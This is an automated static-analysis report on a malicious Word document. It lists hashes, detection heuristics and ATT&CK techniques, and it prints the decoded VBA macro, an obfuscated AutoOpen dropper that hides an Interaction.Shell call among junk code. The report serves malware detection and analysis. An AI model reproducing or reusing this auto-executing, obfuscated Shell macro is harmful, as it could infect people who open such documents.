Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e3f500e590bdfd9d…

MALICIOUS

Office (OLE)

149.2 KB Created: 2018-12-21 14:47:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 2d9dfcd6605ff36c505028b2c2e0515d SHA-1: 069d77d42344c03b4ceceb747d16ff5946563906 SHA-256: e3f500e590bdfd9d6de59581e1b80b88989a3589eca06a02aae4c42e2e845b0c
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro includes an AutoOpen function and a critical `Shell()` call, indicating an attempt to execute arbitrary code. The presence of the `Shell()` function strongly suggests the macro is designed to download and execute a second-stage payload. While the specific payload and family are not immediately identifiable from the obfuscated script, the technique is common for malware droppers.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-6791501-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6791501-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5235 bytes
SHA-256: ce9df56aeb799ca46f7e4df35875f6f061022c17f3e7fff7721767000a4cf491
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "h165440005402"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
  i2790 = "a8443"
  A0624 = "j9578"
  G294 = "n919"
  R482021632
  E483 = "z679"
  z915 = "n4714"
  u468 = "z2875"
End Sub

Attribute VB_Name = "H10342674"
Function R482021632()
On Error Resume Next
   Select Case G591
         Case 91
            B3489 = W090
            E734 = Log(c6449)
            z896 = W945
         Case 98
            u090 = p9790
            E1118 = CBool(z478)
            u4693 = Rnd(z1563 / Hex(n3587 * b7123 - n6375 / Int(431)) * 106 - 409)
      End Select
      B1641 = 555 - 39
      Set n5295 = m474
   Select Case j1600
         Case 44
            c2080 = d3605
            h4162 = Log(P897)
            z840 = b7465
         Case 97
            R556 = Z3161
            H276 = CBool(m731)
            D1171 = Rnd(n9796 / Hex(D8278 * O666 - a2801 / Int(215)) * 594 - 815)
      End Select
      E435 = 430 - 915
      Set Z5302 = i2048
z546165 = Array(D871145, X83878246, r671756627, Interaction.Shell(("" + R0565860 + G456636 + h165440005402.TextBox1) + B037961 + X53988, 81 - 81), P4144878, Y3619410, w813704)
   Select Case b651
         Case 679
            Z933 = C8882
            J759 = Log(C235)
            v1114 = P2734
         Case 58
            G1070 = w1061
            l9336 = CBool(o376)
            K2665 = Rnd(E9828 / Hex(q443 * a706 - H671 / Int(854)) * 79 - 888)
      End Select
      q3638 = 470 - 360
      Set Z597 = p055
   Select Case k943
         Case 242
            k9555 = T7891
            K339 = Log(z5540)
            T3891 = n6766
         Case 388
            d528 = w388
            p339 = CBool(T883)
            N1289 = Rnd(H145 / Hex(i9032 * n5578 - r0697 / Int(582)) * 162 - 908)
      End Select
      Q7264 = 422 - 866
      Set p3538 = X471
   Select Case k080
         Case 321
            t887 = L3494
            B3727 = Log(B8801)
            H689 = U195
         Case 918
            f492 = T223
            q536 = CBool(D483)
            I8772 = Rnd(R909 / Hex(X221 * m5047 - p2426 / Int(381)) * 313 - 329)
      End Select
      F2409 = 774 - 236
      Set z132 = f442
   Select Case q685
         Case 623
            f0432 = b740
            U7586 = Log(d372)
            M935 = n2369
         Case 750
            L3683 = K903
            I496 = CBool(E330)
            a8518 = Rnd(n515 / Hex(h925 * l4253 - z712 / Int(861)) * 260 - 932)
      End Select
      Q781 = 716 - 538
      Set j685 = t926
End Function


Attribute VB_Name = "p264483465"

Attribute VB_Name = "v43889598743"

Attribute VB_Name = "p2616705"

Attribute VB_Name = "f2076439489"

Attribute VB_Name = "a921272830"

Attribute VB_Name = "J96957598260844"

Attribute VB_Name = "f31912568948428"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "c8092406443"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "O9344004845097"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "q43108661501488"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B337
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.